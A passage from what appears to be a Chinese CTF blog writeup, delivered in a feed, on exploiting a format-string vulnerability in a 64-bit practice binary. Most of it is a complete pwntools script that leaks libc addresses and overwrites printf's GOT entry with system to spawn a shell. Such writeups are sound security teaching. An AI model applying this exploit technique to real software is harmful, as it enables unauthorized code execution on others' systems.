4 字节的垃圾数据，例如：<code>b&#39;%7$saaaa&#39;</code></strong></p><p>因此脚本应该改为：</p> <pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token comment"># 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址</span>payload <span class="token operator">=</span> <span class="token string">b'%7$saaaa'</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>puts_got_addr<span class="token punctuation">)</span>  io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>  <span class="token comment"># 此时泄漏的地址位于最开始，因此直接从第一个字节开始接收</span>puts_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"puts_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>puts_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_24.png" alt="你想有多PWN-fmt_test2_24.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_25.png" alt="你想有多PWN-fmt_test2_25.png"></p><p>可以看到这次没有被 <code>0x00</code> 截断，<code>puts()</code> 的真实地址也是正确的</p><p>其他的基本与 32 位一样，最后使用 <code>fmtstr_payload()</code> 时将偏移改为 6 即可</p><h2 id="完整脚本-1"><a href="#完整脚本-1" class="headerlink" title="完整脚本"></a>完整脚本</h2><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> pwn <span class="token keyword">import</span> <span class="token operator">*</span><span class="token comment"># 设置系统架构, 打印调试信息</span>context<span class="token punctuation">(</span>os<span class="token operator">=</span><span class="token string">'linux'</span><span class="token punctuation">,</span> arch<span class="token operator">=</span><span class="token string">'amd64'</span><span class="token punctuation">,</span> log_level<span class="token operator">=</span><span class="token string">'debug'</span><span class="token punctuation">)</span><span class="token comment"># PWN 远程 : content = 0, PWN 本地 : content = 1</span>content <span class="token operator">=</span> <span class="token number">1</span><span class="token keyword">if</span> content <span class="token operator">==</span> <span class="token number">1</span><span class="token punctuation">:</span><span class="token comment"># 将本地的 Linux 程序启动为进程 io</span>    io <span class="token operator">=</span> process<span class="token punctuation">(</span><span class="token string">"./fmt_str_level_1_x64"</span><span class="token punctuation">)</span><span class="token comment"># 附加 gdb 调试</span><span class="token keyword">def</span> <span class="token function">debug</span><span class="token punctuation">(</span>cmd<span class="token operator">=</span><span class="token string">""</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    gdb<span class="token punctuation">.</span>attach<span class="token punctuation">(</span>io<span class="token punctuation">,</span> cmd<span class="token punctuation">)</span>    pause<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token comment"># 泄露并计算 main 函数真实地址</span>io<span class="token punctuation">.</span>recvuntil<span class="token punctuation">(</span><span class="token string">b'input:\n'</span><span class="token punctuation">)</span>payload <span class="token operator">=</span> <span class="token string">b'%41$p'</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>ret_main_addr <span class="token operator">=</span> <span class="token builtin">int</span><span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">:</span><span class="token number">14</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"ret_main_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>ret_main_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>main_addr <span class="token operator">=</span> ret_main_addr <span class="token operator">-</span> <span class="token number">28</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"main_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>main_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 根据 main 函数的真实地址计算 puts 函数的 GOT 表地址</span>elf <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">"./fmt_str_level_1_x64"</span><span class="token punctuation">)</span>main_puts_offset <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"main"</span><span class="token punctuation">]</span> <span class="token operator">-</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">"puts"</span><span class="token punctuation">]</span>puts_got_addr <span class="token operator">=</span> main_addr <span class="token operator">-</span> main_puts_offset<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"puts_got_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>puts_got_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 利用 puts 函数的 GOT 表地址泄露 puts 函数的真实地址</span>payload <span class="token operator">=</span> <span class="token string">b'%7$saaaa'</span> <span class="token operator">+</span> p64<span class="token punctuation">(</span>puts_got_addr<span class="token punctuation">)</span>  io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload<span class="token punctuation">)</span>  <span class="token comment"># 此时泄漏的地址位于最开始，因此直接从第一个字节开始接收</span>puts_addr <span class="token operator">=</span> u64<span class="token punctuation">(</span>io<span class="token punctuation">.</span>recv<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">.</span>ljust<span class="token punctuation">(</span><span class="token number">8</span><span class="token punctuation">,</span> <span class="token string">b'\x00'</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"puts_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>puts_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token comment"># 根据 puts 函数的真实地址与 libc 偏移计算 system 函数地址</span>libc <span class="token operator">=</span> ELF<span class="token punctuation">(</span><span class="token string">'/lib/x86_64-linux-gnu/libc.so.6'</span><span class="token punctuation">)</span><span class="token comment"># libc = ELF('/opt/glibc-all-in-one/libs/2.35-0ubuntu3.7_amd64/libc.so.6')</span>libcbase <span class="token operator">=</span> puts_addr <span class="token operator">-</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"puts"</span><span class="token punctuation">]</span>system_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> libc<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"system"</span><span class="token punctuation">]</span>bin_sh_addr <span class="token operator">=</span> libcbase <span class="token operator">+</span> <span class="token builtin">next</span><span class="token punctuation">(</span>libc<span class="token punctuation">.</span>search<span class="token punctuation">(</span><span class="token string">b'/bin/sh'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"libcbase -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>libcbase<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"system_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>system_addr<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"bin_sh_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>bin_sh_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>main_printf_offset <span class="token operator">=</span> elf<span class="token punctuation">.</span>symbols<span class="token punctuation">[</span><span class="token string">"main"</span><span class="token punctuation">]</span> <span class="token operator">-</span> elf<span class="token punctuation">.</span>got<span class="token punctuation">[</span><span class="token string">"printf"</span><span class="token punctuation">]</span>printf_got_addr <span class="token operator">=</span> main_addr <span class="token operator">-</span> main_printf_offset<span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"printf_got_addr -->"</span><span class="token punctuation">,</span> <span class="token builtin">hex</span><span class="token punctuation">(</span>printf_got_addr<span class="token punctuation">)</span><span class="token punctuation">)</span>payload_write_printf_got <span class="token operator">=</span> fmtstr_payload<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span>printf_got_addr<span class="token punctuation">:</span> system_addr<span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token comment"># debug()</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span>payload_write_printf_got<span class="token punctuation">)</span>io<span class="token punctuation">.</span>sendline<span class="token punctuation">(</span><span class="token string">b'/bin/sh'</span><span class="token punctuation">)</span><span class="token comment"># 与远程交互</span>io<span class="token punctuation">.</span>interactive<span class="token punctuation">(</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="结果-1"><a href="#结果-1" class="headerlink" title="结果"></a>结果</h2><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_26.png" alt="你想有多PWN-fmt_test2_26.png"></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E4%BD%A0%E6%83%B3%E6%9C%89%E5%A4%9APWN-fmt_test2_27.png" alt="你想有多PWN-fmt_test2_27.png"></p>]]></content>
    
    
    <summary type="html">一个格式化字符串漏洞的例题，包括泄露栈空间的数据、通过栈上的返回地址推算其它函数的真实地址、利用 libc 偏移计算 system 与 &quot;/bin/sh&quot;，以及通过 fmtstr_payload 将 printf 的 GOT 表地址修改为 system_plt，需注意 32 位与 64 位的区别</summary>
    
    
    
    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="Writeup" scheme="https://www.uf4te.cn/tags/Writeup/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
    <category term="格式化字符串" scheme="https://www.uf4te.cn/tags/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2/"/>
    
  </entry>
  
</feed>
